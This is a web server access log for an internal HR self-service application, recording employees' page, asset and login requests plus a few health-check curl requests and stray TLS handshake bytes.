192.168.11.148 - - [05/Sep/2025:14:01:01 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:01:01 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.148 - - [05/Sep/2025:14:01:01 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:01:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.148 - - [05/Sep/2025:14:01:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:01:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.148 - - [05/Sep/2025:14:01:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:01:01 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.148 - - [05/Sep/2025:14:01:01 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:01:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.148 - - [05/Sep/2025:14:01:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:01:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:01:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.148 - - [05/Sep/2025:14:01:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.148 - - [05/Sep/2025:14:01:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:01:20 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:01:20 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.11.148 - - [05/Sep/2025:14:01:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.148 - - [05/Sep/2025:14:01:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:01:21 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.11.148 - - [05/Sep/2025:14:01:21 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:01:21 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:01:21 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242
192.168.11.148 - - [05/Sep/2025:14:01:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.148 - - [05/Sep/2025:14:01:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:02:05 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5982422130483044 HTTP/1.1" 200 10228 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:02:05 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5982422130483044 HTTP/1.1" 200 10228
192.168.11.148 - - [05/Sep/2025:14:02:12 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5982422130483044 HTTP/1.1" 200 12405 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5982422130483044" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:02:12 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5982422130483044 HTTP/1.1" 200 12405
192.168.11.148 - - [05/Sep/2025:14:02:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204
192.168.11.148 - - [05/Sep/2025:14:02:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:02:18 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.148 - - [05/Sep/2025:14:02:18 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:02:18 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369
192.168.11.148 - - [05/Sep/2025:14:02:18 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:14:02:18 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084
192.168.11.148 - - [05/Sep/2025:14:02:18 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
100.64.0.1 - - [05/Sep/2025:14:07:47 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [05/Sep/2025:14:07:47 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [05/Sep/2025:14:07:48 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [05/Sep/2025:14:07:48 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [05/Sep/2025:14:23:06 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:14:23:06 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:14:23:43 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:14:23:43 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:14:23:53 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:14:23:53 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:14:23:59 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:14:23:59 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:14:47:02 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:14:47:02 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:15:02:30 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:15:02:30 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:15:02:45 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:15:02:45 +0800] "GET / HTTP/1.1" 200 439
192.168.11.222 - - [05/Sep/2025:15:10:07 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.222 - - [05/Sep/2025:15:10:07 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [05/Sep/2025:15:10:08 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.222 - - [05/Sep/2025:15:10:08 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8829
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8829 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/img/login.swf HTTP/1.1" 200 2760
192.168.11.222 - - [05/Sep/2025:15:10:13 +0800] "GET /eHR/img/login.swf HTTP/1.1" 200 2760 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:14 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.222 - - [05/Sep/2025:15:10:14 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:14 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.222 - - [05/Sep/2025:15:10:14 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:14 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.222 - - [05/Sep/2025:15:10:14 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:14 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [05/Sep/2025:15:10:14 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.222 - - [05/Sep/2025:15:10:14 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.222 - - [05/Sep/2025:15:10:14 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [05/Sep/2025:15:10:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.222 - - [05/Sep/2025:15:10:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.222 - - [05/Sep/2025:15:10:17 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)"
192.168.11.222 - - [05/Sep/2025:15:10:17 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.222 - - [05/Sep/2025:15:10:23 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
